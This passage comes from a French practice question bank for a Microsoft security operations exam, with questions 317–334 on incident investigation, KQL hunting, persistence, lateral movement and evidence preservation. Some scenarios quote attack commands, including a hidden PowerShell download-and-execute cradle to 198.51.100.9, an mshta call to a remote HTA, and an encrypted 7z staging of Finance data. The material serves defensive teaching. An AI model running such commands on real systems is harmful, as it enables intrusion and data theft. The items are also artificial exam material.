Ces enquêtes impliquent la confidentialité et le droit du travail : coordination avec RH et juridique, et éventuellement Insider Risk Management (pseudonymisation). Prévention : application non approuvée bloquée, DLP, étiquettes de confidentialité.

**Point à retenir pour l'examen :** Exfiltration cloud personnelle = Cloud Discovery (MDCA/MDE) + audit Microsoft 365 + DLP.

**Référence officielle**

- Vue d'ensemble de la découverte d'applications cloud — https://learn.microsoft.com/fr-fr/defender-cloud-apps/set-up-cloud-discovery
- DeviceProcessEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceprocessevents-table

## Question n° 317 — Script PowerShell téléchargé en mémoire

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une ligne de commande montre `powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.9/a.ps1')"`. Le script n'a jamais été écrit sur disque. Où chercher son contenu ?

**A.** Dans EmailAttachmentInfo.

**B.** Dans la télémétrie des scripts capturée par l'antivirus (AMSI) et les événements PowerShell de MDE (par exemple DeviceEvents, ActionType « PowerShellCommand »), et dans les journaux de blocs de script PowerShell (événement 4104) s'ils sont collectés.

**C.** Nulle part : un script en mémoire n'est jamais visible.

**D.** Dans DeviceFileEvents, car tout script est écrit sur disque.

**Bonne réponse : B**

**Correction détaillée**

Les attaques **sans fichier** (T1059.001 + T1105) téléchargent et exécutent le script en mémoire. **AMSI** transmet le contenu à l'antivirus ; MDE expose des événements PowerShell dans **DeviceEvents** ; la **journalisation des blocs de script** (Microsoft-Windows-PowerShell/Operational, **4104**) enregistre le code exécuté, collectable dans Sentinel via une DCR personnalisée (XPath).

**Analyse des réponses incorrectes**

- **A.** Le script provient d'une URL, pas d'une pièce jointe.
- **C.** AMSI et la journalisation des blocs de script exposent le contenu.
- **D.** IEX exécute le contenu téléchargé en mémoire (sans fichier).

**Explication technique**

Également : DeviceNetworkEvents pour la connexion vers 198.51.100.9 (processus powershell.exe) et le proxy web pour le contenu. Les options `-nop` (sans profil) et `-w hidden` (fenêtre masquée) sont typiques d'une exécution malveillante.

**Point à retenir pour l'examen :** Script en mémoire : AMSI/DeviceEvents (PowerShellCommand) et journalisation des blocs de script (4104).

**Référence officielle**

- DeviceEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceevents-table
- Collecte de données personnalisées dans Microsoft Defender pour point de terminaison — https://learn.microsoft.com/fr-fr/defender-endpoint/custom-data-collection

## Question n° 318 — Persistance par abonnement WMI

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un poste continue d'exécuter une charge malveillante après suppression de toutes les tâches planifiées et clés Run. Quel mécanisme de persistance moins visible faut-il examiner, et quelle protection existe ?

**A.** Les abonnements aux événements WMI (filtres, consommateurs et liaisons), que la règle ASR « Bloquer la persistance via un abonnement aux événements WMI » permet de bloquer.

**B.** Le fond d'écran de l'utilisateur.

**C.** La corbeille.

**D.** Le fichier hosts.

**Bonne réponse : A**

### Correction détaillée

La **persistance WMI** (T1546.003) associe un **filtre** d'événement (par exemple « toutes les 60 s » ou « au démarrage »), un **consommateur** (CommandLineEventConsumer, ActiveScriptEventConsumer) et une **liaison**. Elle survit aux redémarrages et échappe aux contrôles classiques.

### Analyse des réponses incorrectes

- **B.** Aucun rôle de persistance.
- **C.** Aucun rôle de persistance.
- **D.** Il redirige la résolution de noms, il ne relance pas de charge.

### Explication technique

MDE enregistre des événements liés à WMI dans DeviceEvents (par exemple « WmiBindEventFilterToConsumer »). Live Response permet d'inventorier les abonnements (`persistence` / scripts PowerShell `Get-WmiObject -Namespace root\subscription`). La règle ASR dédiée bloque la création de ces abonnements.

**Point à retenir pour l'examen :** Persistance résistante : examiner les abonnements WMI ; règle ASR dédiée pour la bloquer.

### Référence officielle

- Référence des règles de réduction de la surface d'attaque (ASR) — https://learn.microsoft.com/fr-fr/defender-endpoint/attack-surface-reduction-rules-reference
- DeviceEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceevents-table

## Question n° 319 — Mouvement latéral via WMI et PsExec

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Vous observez sur plusieurs serveurs des processus cmd.exe lancés par wmiprvse.exe et des services PSEXESVC. Quelle conclusion et quelle protection préventive ?

**A.** Comportement normal de Windows Update.

**B.** Activité d'impression réseau.

**C.** Exfiltration DNS.

**D.** Mouvement latéral par exécution distante (WMI et PsExec, T1047/T1569.002) ; la règle ASR « Bloquer les créations de processus provenant des commandes PSExec et WMI » réduit ce risque (en tenant compte des outils d'administration légitimes).

**Bonne réponse : D**

**Correction détaillée**

**wmiprvse.exe** parent de cmd/powershell indique une commande exécutée via **WMI** à distance ; **PSEXESVC** est le service installé par **PsExec**. Ces techniques d'administration sont très utilisées par les attaquants pour se déplacer.

**Analyse des réponses incorrectes**

- **A.** Windows Update n'utilise pas PsExec.
- **B.** Sans rapport.
- **C.** Il s'agit d'exécution de commandes à distance.

**Explication technique**

La règle ASR peut gêner des outils de gestion (SCCM utilise WMI) : tester en Audit. Corréler avec DeviceLogonEvents (LogonType Network) pour identifier le compte et la source. MDI détecte également l'exécution de code à distance contre les DC.

**Point à retenir pour l'examen :** wmiprvse → cmd / PSEXESVC = exécution distante latérale ; ASR dédiée (en Audit d'abord).

**Référence officielle**

- Référence des règles de réduction de la surface d'attaque (ASR) — https://learn.microsoft.com/fr-fr/defender-endpoint/attack-surface-reduction-rules-reference
- DeviceProcessEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceprocessevents-table

## Question n° 320 — Pass-the-hash

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** MDI lève « Suspected identity theft (pass-the-hash) » : un hachage NTLM d'un administrateur est utilisé depuis un poste où cet administrateur ne s'est jamais connecté. Quelles mesures de remédiation sont pertinentes ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** Activer NTLMv1 pour la compatibilité.

**B.** Réinitialiser le mot de passe du compte dont le hachage est utilisé et investiguer le poste source (vol de LSASS).

**C.** Augmenter la longueur des noms d'utilisateur.

**D.** Ignorer l'alerte si l'administrateur est en congé.

**E.** Réduire l'exposition des identifiants : limiter les connexions d'administrateurs sur les postes (modèle de niveaux), Credential Guard, LAPS, groupe Protected Users.

**Bonne réponse : B, E**

**Correction détaillée**

Le **pass-the-hash** (T1550.002) réutilise le hachage NTLM volé (souvent depuis LSASS) pour s'authentifier sans mot de passe. Il faut changer le mot de passe (nouveau hachage), traiter le poste source et réduire l'exposition des identifiants à privilèges.

**Analyse des réponses incorrectes**

- **A.** NTLMv1 est encore plus faible.
- **C.** Sans effet sur la réutilisation de hachages.
- **D.** Raison de plus pour investiguer : quelqu'un d'autre utilise son identité.

**Explication technique**

Le **modèle d'accès par niveaux** (tiering) empêche les administrateurs du domaine de se connecter aux postes. **Protected Users** désactive NTLM et la mise en cache des identifiants pour ses membres. **Credential Guard** isole les secrets LSASS.

**Point à retenir pour l'examen :** Pass-the-hash : changer le mot de passe + traiter la source + réduire l'exposition (tiering, Protected Users, Credential Guard).

**Référence officielle**

- Alertes de sécurité dans Microsoft Defender pour Identity — https://learn.microsoft.com/fr-fr/defender-for-identity/alerts-overview

## Question n° 321 — Exfiltration par e-mail

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Vous soupçonnez un utilisateur d'envoyer des données de l'entreprise vers sa messagerie personnelle. Quelle requête de chasse avancée est la plus adaptée ?

**A.**

REQUÊTE KQL

```
UrlClickEvents
| where Timestamp > ago(30d)
| where AccountUpn =~ "j.lemaire@contoso.com"
```

**B.**

REQUÊTE KQL

```
DeviceLogonEvents
| where Timestamp > ago(30d)
| where AccountName =~ "j.lemaire"
```

**C.**

REQUÊTE KQL

```
EmailEvents
| where Timestamp > ago(30d)
| where EmailDirection == "Outbound"
| where SenderFromAddress =~ "j.lemaire@contoso.com"
| where RecipientDomain in~ ("gmail.com", "outlook.fr", "yahoo.fr", "proton.me")
| summarize Messages = count(), PiecesJointes = sum(AttachmentCount) by RecipientEmailAddress,
bin(Timestamp, 1d)
```

**D.**

REQUÊTE KQL

```
EmailEvents
| where Timestamp > ago(30d)
| where EmailDirection == "Inbound"
| where RecipientEmailAddress =~ "j.lemaire@contoso.com"
```

**Bonne réponse : C**

**Correction détaillée**

**EmailEvents** avec `EmailDirection == "Outbound"` liste les messages sortants ; le filtre sur **RecipientDomain** (domaines de messagerie grand public) et l'agrégation des pièces jointes mesurent les envois vers l'extérieur.

**Analyse des réponses incorrectes**

- **A.** Clics sur des URL, sans lien avec l'envoi de messages.
- **B.** Ouvertures de session sur les appareils.
- **D.** Messages reçus par l'utilisateur, pas envoyés.

**Explication technique**

Compléter avec EmailAttachmentInfo (noms, types, étiquettes de confidentialité) et les alertes DLP Purview. Ces enquêtes doivent respecter les règles internes et le cadre légal (proportionnalité, information des représentants selon les juridictions).

**Résultat attendu**

Les envois par jour vers chaque adresse personnelle avec le nombre de pièces jointes.

**Point à retenir pour l'examen :** Envois sortants = EmailEvents (EmailDirection Outbound, RecipientDomain).

**Référence officielle**

- EmailEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-emailevents-table

## Question n° 322 — Clé Run créée par un script

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Pendant l'investigation d'un poste, vous trouvez la valeur de registre `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\OneDriveUpdate` pointant vers `C:\Users\Public\odupd.exe`. Que faites-vous en priorité ?

**A.** Désactiver OneDrive dans toute l'organisation.

**B.** Traiter la valeur comme une persistance malveillante probable : identifier le processus qui l'a créée (DeviceRegistryEvents), analyser le binaire, puis supprimer la persistance et le fichier après collecte des preuves.

**C.** La conserver : le nom « OneDriveUpdate » prouve qu'elle est légitime.

**D.** Supprimer immédiatement la valeur sans enquête.

**Bonne réponse : B**

**Correction détaillée**

Un nom trompeur combiné à un **emplacement anormal** (C:\Users\Public) est un indicateur de **masquerading** et de persistance (T1547.001). On remonte à l'origine (processus initiateur, ligne de commande), on analyse le binaire (hachage, prévalence, analyse approfondie), puis on remédie (suppression de la valeur et du fichier, indicateur de blocage).

**Analyse des réponses incorrectes**

- **A.** Sans rapport avec la cause.
- **C.** Les attaquants imitent des noms légitimes (masquerading, T1036) ; OneDrive ne s'exécute pas depuis C:\Users\Public.
- **D.** On perdrait l'origine de la persistance et d'éventuels autres mécanismes.

**Explication technique**

Rechercher la même valeur ou le même hachage sur d'autres appareils via la chasse avancée. Vérifier les autres mécanismes de persistance (tâches, services, WMI).

**Point à retenir pour l'examen :** Nom légitime + chemin anormal = masquerading ; remonter à l'origine avant de supprimer.

**Référence officielle**

- DeviceRegistryEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceregistryevents-table

## Question n° 323 — Archivage avant exfiltration

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Sur un serveur de fichiers, MDE enregistre `7z.exe a -pP@ssw0rd -mhe=on C:\PerfLogs\d.7z \\SRV-FIC01\Finance`. Que révèle cette commande ?

**A.** Une sauvegarde planifiée standard.

**B.** La décompression d'un logiciel.

**C.** Un nettoyage du disque.

**D.** La création d'une archive chiffrée (avec chiffrement des noms de fichiers) des données Finance dans un dossier peu surveillé, étape typique de collecte avant exfiltration (T1560.001).

**Bonne réponse : D**

**Correction détaillée**

`7z a` crée une archive, `-p` définit un mot de passe et `-mhe=on` chiffre aussi les en-têtes (noms de fichiers masqués) : technique de **collecte et préparation à l'exfiltration** (T1560.001 Archive via Utility). Le dossier **C:\PerfLogs** est souvent choisi car rarement surveillé.

**Analyse des réponses incorrectes**

- **A.** Une sauvegarde légitime n'utilise pas un mot de passe en clair vers C:\PerfLogs.
- **B.** Le paramètre « a » ajoute à une archive (compression).
- **C.** Aucun fichier n'est supprimé.

**Explication technique**

Étapes suivantes : rechercher le transfert de l'archive (DeviceNetworkEvents, DeviceFileEvents sur d.7z, outils rclone/FTP), identifier le compte utilisé et la période, évaluer les données concernées (obligations de notification).

**Point à retenir pour l'examen :** Archive chiffrée de données sensibles dans un dossier discret = préparation d'exfiltration (T1560.001).

**Référence officielle**

- DeviceProcessEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceprocessevents-table

## Question n° 324 — Exécution via mshta depuis un raccourci

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un utilisateur a ouvert une archive ZIP contenant un fichier .lnk. MDE montre ensuite `mshta.exe https://cdn-docs.example/view.hta`. De quelle technique s'agit-il ?

**A.** Exécution par proxy d'un binaire système signé (T1218.005 – Mshta) déclenchée par un raccourci malveillant (T1204.002), pour exécuter du code HTA distant.

**B.** Connexion RDP sortante.

**C.** Défragmentation planifiée.

**D.** Mise à jour automatique d'Office.

**Bonne réponse : A**

**Correction détaillée**

**mshta.exe** exécute des applications HTML (HTA) contenant du script ; appelé avec une **URL distante** depuis un **raccourci** ouvert par l'utilisateur, il permet d'exécuter du code en contournant certains contrôles d'application (binaire signé Microsoft).

**Analyse des réponses incorrectes**

- **B.** Sans rapport.
- **C.** Sans rapport.
- **D.** Office ne se met pas à jour via mshta et une URL externe.

**Explication technique**

Défense : règles ASR (« Bloquer l'exécution des fichiers exécutables sauf s'ils répondent à des critères… », « Bloquer JavaScript ou VBScript pour lancer du contenu exécutable téléchargé »), contrôle d'application (WDAC/App Control) pour restreindre mshta, filtrage des pièces jointes .lnk/.iso/.zip.

**Point à retenir pour l'examen :** LNK → mshta URL distante = T1204.002 + T1218.005.

**Référence officielle**

- DeviceProcessEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceprocessevents-table

## Question n° 325 — Partage administratif et copie de fichiers

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Avancé

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Vous voulez identifier les fichiers exécutables copiés à distance via SMB sur des serveurs, et la machine source de la copie. Quelle requête est adaptée ?

**A.**

REQUÊTE KQL

```
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemotePort == 445
| summarize count() by DeviceName
```

**B.**

REQUÊTE KQL

```
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType == "FileCreated"
| where RequestProtocol == "Smb"
| where FileName endswith ".exe" or FileName endswith ".dll" or FileName endswith ".ps1"
| project Timestamp, DeviceName, FolderPath, FileName, SHA256, RequestSourceIP,
RequestAccountName, ShareName
```

**C.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(1d)
| where FileName =~ "explorer.exe"
```

**D.**

REQUÊTE KQL

```
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType == "FileDeleted"
```

**Bonne réponse : B**

**Correction détaillée**

Pour les fichiers créés **à distance**, DeviceFileEvents renseigne **RequestProtocol** (par exemple Smb), **RequestSourceIP**, **RequestAccountName** et **ShareName** (ADMIN$, C$…). Cela identifie la **machine source** et le **compte** du mouvement latéral (T1570 – Lateral Tool Transfer).

**Analyse des réponses incorrectes**

- **A.** Volume de connexions SMB sans identification des fichiers copiés.
- **C.** Exécutions de l'Explorateur, sans lien avec les copies SMB.

- **D.** Suppressions de fichiers, pas copies.

**Explication technique**

Les valeurs exactes de RequestProtocol dépendent des données (vérifier « Smb »/« SMB » avec `=~`). Corréler avec la création d'un service ou d'une tâche planifiée sur le serveur cible peu après.

**Résultat attendu**

Les exécutables et scripts copiés via SMB avec la source et le compte.

**Point à retenir pour l'examen :** Copie distante = DeviceFileEvents.RequestProtocol/RequestSourceIP/RequestAccountName/ShareName.

**Référence officielle**

- DeviceFileEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-devicefileevents-table

## Question n° 326 — Persistance cloud par application

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Après l'éradication d'une compromission Entra ID (mots de passe réinitialisés, sessions révoquées), l'attaquant continue de lire des boîtes aux lettres. Quelle persistance cloud est la plus probable ?

**A.** Un cookie de navigateur sur le poste du RSSI.

**B.** Une règle ASR mal configurée.

**C.** Un cache DNS obsolète.

**D.** Une application ou un principal de service contrôlé par l'attaquant (secret ajouté, consentement accordé, permissions Graph d'application) qui accède aux données indépendamment des utilisateurs.

**Bonne réponse : D**

**Correction détaillée**

Les attaquants persistent dans le cloud via des **applications** (T1098.001 – identifiants supplémentaires, T1528 – jetons d'application) : ajout de secrets/certificats à une application existante, création d'une application avec permissions **Mail.Read** (application), consentement administrateur. Ces accès ne dépendent pas des mots de passe utilisateurs.

**Analyse des réponses incorrectes**

- **A.** Les sessions ont été révoquées ; l'accès continu sans utilisateur pointe vers une identité d'application.
- **B.** Les règles ASR concernent les terminaux.
- **C.** Sans rapport.

**Explication technique**

Rechercher dans AuditLogs : « Add service principal credentials », « Update application – Certificates and secrets management », « Add app role assignment to service principal », « Consent to application ». Puis AADServicePrincipalSignInLogs et MicrosoftGraphActivityLogs pour l'usage. Remédiation : retirer les identifiants/permissions, désactiver l'application, revoir les propriétaires d'applications.

**Point à retenir pour l'examen :** Accès persistant sans utilisateur = application/principal de service compromis ; vérifier AuditLogs et journaux Graph.

**Référence officielle**

- Journaux d'audit — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/auditlogs
- MicrosoftGraphActivityLogs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/microsoftgraphactivitylogs

# 4.6 Confinement, éradication, restauration et preuves

## Question n° 327 — Confinement court terme et long terme

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un serveur web compromis héberge un service critique pour les clients. Quelle stratégie de confinement est la plus équilibrée ?

**A.** Un confinement court terme ciblé (isolation sélective, blocage des IOC, désactivation des comptes compromis) pendant que l'on prépare un confinement long terme (serveur de remplacement propre, correctifs) pour rétablir le service sans laisser l'attaquant agir.

**B.** Supprimer définitivement le serveur et ses disques immédiatement.

**C.** Ne rien faire tant que le service est critique.

**D.** Redémarrer le serveur toutes les heures.

**Bonne réponse : A**

### Correction détaillée

Le **confinement** équilibre **sécurité** et **continuité** : mesures immédiates ciblées (couper les accès de l'attaquant), puis solution durable (reconstruction, bascule vers une instance saine). La décision implique les responsables métier.

### Analyse des réponses incorrectes

- **B.** Destruction de preuves et interruption de service non planifiée.
- **C.** L'attaquant pourrait poursuivre (exfiltration, propagation).
- **D.** Sans effet sur la persistance et perte de preuves volatiles.

### Explication technique

Options techniques : isolation MDE (sélective), règles NSG/pare-feu, blocage d'IP/URL (indicateurs), désactivation de comptes, accès juste-à-temps, Web Application Firewall. Documenter le risque résiduel accepté.

**Point à retenir pour l'examen :** Confinement = mesures immédiates ciblées + solution durable, décidées avec le métier.

### Référence officielle

- Vue d'ensemble des réponse aux incidents — https://learn.microsoft.com/fr-fr/security/operations/incident-response-overview

## Question n° 328 — Éradication complète

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Après confinement d'une intrusion, quelles actions relèvent de l'éradication ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** Supprimer tous les mécanismes de persistance identifiés (tâches, services, clés Run, abonnements WMI, applications cloud malveillantes) et les outils de l'attaquant.

**B.** Communiquer publiquement les IOC avant de supprimer la persistance.

**C.** Réinitialiser les identifiants compromis (y compris comptes de service et, si nécessaire, krbtgt) et corriger la vulnérabilité exploitée.

**D.** Fermer l'incident dès que l'antivirus ne détecte plus rien.

**E.** Restaurer immédiatement toutes les sauvegardes.

**Bonne réponse : A, C**

**Correction détaillée**

L'**éradication** retire la présence de l'attaquant : persistance, outils, comptes créés, identifiants volés (réinitialisation), vulnérabilités et mauvaises configurations exploitées. Une éradication partielle conduit à une réinfection.

**Analyse des réponses incorrectes**

- **B.** Risque d'alerter l'attaquant ; ce n'est pas une mesure d'éradication.
- **D.** L'absence de détection antivirus ne garantit pas l'absence de persistance.
- **E.** La restauration relève de la phase suivante et ne doit intervenir qu'après éradication.

**Explication technique**

Préparer l'éradication de façon coordonnée (« big bang ») pour éviter que l'attaquant, alerté, ne déploie de nouvelles persistances. S'appuyer sur la chronologie complète de l'attaque reconstituée pendant l'analyse.

**Point à retenir pour l'examen :** Éradication = supprimer persistances et outils + réinitialiser les identifiants + corriger la cause, de façon coordonnée.

**Référence officielle**

- Vue d'ensemble des réponse aux incidents — https://learn.microsoft.com/fr-fr/security/operations/incident-response-overview
- Alertes de sécurité dans Microsoft Defender pour Identity — https://learn.microsoft.com/fr-fr/defender-for-identity/alerts-overview

## Question n° 329 — Préserver les preuves Microsoft 365

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Le service juridique demande de préserver toutes les données de messagerie et OneDrive de trois utilisateurs impliqués dans un incident, en vue d'une éventuelle procédure. Quelle fonctionnalité utiliser ?

**A.** Une exportation manuelle des e-mails en PST par les utilisateurs eux-mêmes.

**B.** Une watchlist Sentinel listant les trois utilisateurs.

**C.** Une conservation (hold) dans un dossier Microsoft Purview eDiscovery, appliquée aux boîtes aux lettres et sites OneDrive concernés.

**D.** L'isolation de leurs postes avec MDE.

**Bonne réponse : C**

**Correction détaillée**

Les **conservations eDiscovery** (Purview) préservent le contenu (y compris les éléments supprimés ou modifiés) des emplacements désignés tant que la conservation est active, ce qui garantit l'**intégrité des preuves** pour une procédure.

**Analyse des réponses incorrectes**

- **A.** Procédé non fiable et contestable (intégrité, exhaustivité).
- **B.** Une watchlist ne préserve aucune donnée.
- **D.** L'isolation ne préserve pas les données cloud contre la suppression.

**Explication technique**

Compléter par l'export des journaux d'audit pertinents (Purview Audit) avant expiration de leur rétention, et par la préservation des journaux Sentinel (rétention ou export). Documenter la **chaîne de custode** (qui a

collecté quoi, quand, comment, empreintes).

**Point à retenir pour l'examen :** Préserver les données Microsoft 365 pour le juridique = conservation eDiscovery (Purview).

**Référence officielle**

- En savoir plus sur eDiscovery — https://learn.microsoft.com/fr-fr/purview/edisc
- En savoir plus sur les solutions d'audit dans Microsoft Purview — https://learn.microsoft.com/fr-fr/purview/audit-solutions-overview

## Question n° 330 — Chaîne de custode

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Pourquoi documenter la chaîne de custode des éléments de preuve collectés (package d'investigation, images mémoire, exports de journaux) ?

**A.** Pour réduire la taille des fichiers collectés.

**B.** Pour démontrer qui a collecté, manipulé et conservé chaque élément, quand et comment, et prouver son intégrité (empreintes), afin qu'il reste recevable et fiable.

**C.** Pour éviter d'avoir à analyser les preuves.

**D.** Pour accélérer la restauration des serveurs.

**Bonne réponse : B**

**Correction détaillée**

La **chaîne de custode** consigne la vie de chaque preuve : collecte (date, outil, auteur), empreinte cryptographique (SHA-256), stockage sécurisé, transferts et accès. Elle conditionne la recevabilité juridique et la confiance dans les conclusions.

**Analyse des réponses incorrectes**

- **A.** Sans rapport.
- **C.** Les preuves doivent être analysées ; la chaîne de custode garantit leur fiabilité.
- **D.** Sans rapport.

**Explication technique**

Travailler sur des copies, calculer les empreintes au moment de la collecte, stocker les preuves dans un emplacement à accès restreint et journalisé. Les actions MDE (Live Response, package) sont elles-mêmes journalisées dans le Centre de notifications.

**Point à retenir pour l'examen :** Chaîne de custode = traçabilité complète + empreintes d'intégrité de chaque preuve.

**Référence officielle**

- Planification de la réponse aux incidents — https://learn.microsoft.com/fr-fr/security/operations/incident-response-planning

## Question n° 331 — Libérer un appareil de l'isolement

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un poste a été isolé il y a deux jours. L'analyse est terminée, les persistances supprimées et le poste réimagé. Quelles vérifications précèdent la libération de l'isolement ?

**A.** Vérifier qu'aucune activité malveillante ne persiste (analyse antivirus complète, chasse sur les IOC de l'incident, état de l'enquête automatisée), que les identifiants de l'utilisateur ont été réinitialisés si nécessaire, puis libérer et surveiller.

**B.** Libérer immédiatement sans vérification puisque le poste a été réimagé.

**C.** Laisser le poste isolé indéfiniment par précaution.

**D.** Désintégrer (offboard) le poste de MDE avant de le libérer.

**Bonne réponse : A**

**Correction détaillée**

La **libération** est une décision de **restauration** : confirmer l'absence de menace (analyse, chasse, AIR), traiter les identifiants associés, puis rétablir la connectivité avec une **surveillance renforcée** (règles ou balises de suivi).

**Analyse des réponses incorrectes**

- **B.** Un réimage depuis une image compromise ou des identifiants non changés peuvent entraîner une réinfection.
- **C.** L'utilisateur doit retrouver un poste fonctionnel une fois le risque traité.
- **D.** On perdrait la surveillance au moment le plus sensible.

**Explication technique**

L'action « Libérer de l'isolement » est journalisée. Ajouter une balise d'appareil temporaire (par exemple « Post-incident ») facilite la surveillance ciblée dans les requêtes et la file d'alertes.

**Point à retenir pour l'examen :** Libérer après vérification (AV, chasse IOC, identifiants) puis surveiller de près.

**Référence officielle**

- Prendre des mesures de réponse sur un appareil — https://learn.microsoft.com/fr-fr/defender-endpoint/respond-machine-alerts

## Question n° 332 — Réimager ou nettoyer

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un serveur a été compromis avec accès SYSTEM par l'attaquant pendant plusieurs jours. L'équipe hésite entre nettoyer les artefacts connus et reconstruire le serveur. Quelle recommandation est la plus sûre ?

**A.** Nettoyer uniquement les fichiers détectés par l'antivirus.

**B.** Changer seulement le nom du serveur.

**C.** Ne rien faire puisque l'attaquant n'est plus actif.

**D.** Reconstruire (réinstaller) le serveur à partir d'une source fiable et restaurer les données vérifiées, car un accès SYSTEM prolongé ne permet pas de garantir que toutes les modifications ont été identifiées.

**Bonne réponse : D**

**Correction détaillée**

Après une compromission avec **privilèges élevés prolongés**, la **reconstruction** est la seule option offrant une confiance raisonnable. Le nettoyage ciblé convient aux infections limitées et bien comprises (par exemple un malware de base bloqué rapidement).

**Analyse des réponses incorrectes**

- **A.** Des persistances non détectées (rootkits, comptes, configurations) peuvent subsister.
- **B.** Sans effet sur la compromission.
- **C.** Rien ne garantit l'absence de porte dérobée.

**Explication technique**

Avant reconstruction : collecter les preuves (package d'investigation, image disque/mémoire si nécessaire). Après : appliquer les correctifs, réinitialiser les secrets stockés sur le serveur (comptes de service, certificats, clés d'API) et surveiller.

**Point à retenir pour l'examen :** Accès SYSTEM prolongé = reconstruire depuis une source fiable plutôt que nettoyer.

**Référence officielle**

- Vue d'ensemble des réponse aux incidents — https://learn.microsoft.com/fr-fr/security/operations/incident-response-overview

## Question n° 333 — Analyse d'un faux positif MDE

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une alerte MDE signale comme malveillant un outil interne développé par l'entreprise, signé avec son propre certificat. Après vérification, il est légitime. Quelles actions sont appropriées ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** Supprimer l'outil interne de l'entreprise.

**B.** Créer un indicateur « Autoriser » ciblé (certificat de l'entreprise ou hachage du fichier) pour les groupes d'appareils concernés.

**C.** Ajouter une exclusion antivirus sur tout le disque C:.

**D.** Désactiver la protection en temps réel sur les postes des développeurs.

**E.** Classer l'alerte comme faux positif et soumettre le fichier à Microsoft pour réanalyse.

**Bonne réponse : B, E**

**Correction détaillée**

Pour un **faux positif** : classer, **soumettre** à Microsoft (Microsoft Security Intelligence) pour corriger la détection, et créer une **autorisation ciblée** (indicateur de certificat ou de fichier) plutôt qu'une exclusion large.

**Analyse des réponses incorrectes**

- **A.** L'outil est légitime ; le problème est la détection.
- **C.** Exclusion beaucoup trop large, qui crée une faille majeure.
- **D.** Expose ces postes à des menaces réelles.

**Explication technique**

Les indicateurs « Autoriser » par **certificat** couvrent toutes les versions signées de l'outil interne. Préférer les indicateurs aux exclusions antivirus (qui désactivent l'analyse). Revoir périodiquement les autorisations.

**Point à retenir pour l'examen :** Faux positif sur un fichier légitime : soumission à Microsoft + indicateur Autoriser ciblé (certificat/hachage).

**Référence officielle**

- Gérer des règles de suppression — https://learn.microsoft.com/fr-fr/defender-endpoint/manage-suppression-rules
- Utilisez la page Soumissions pour envoyer des courriers indésirables suspects, des hameçonnages, des URL, des e-mails légitimes bloqués et des pièces jointes à Microsoft — https://learn.microsoft.com/fr-fr/defender-office-365/submissions-admin

## Question n° 334 — Dernière étape avant clôture

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

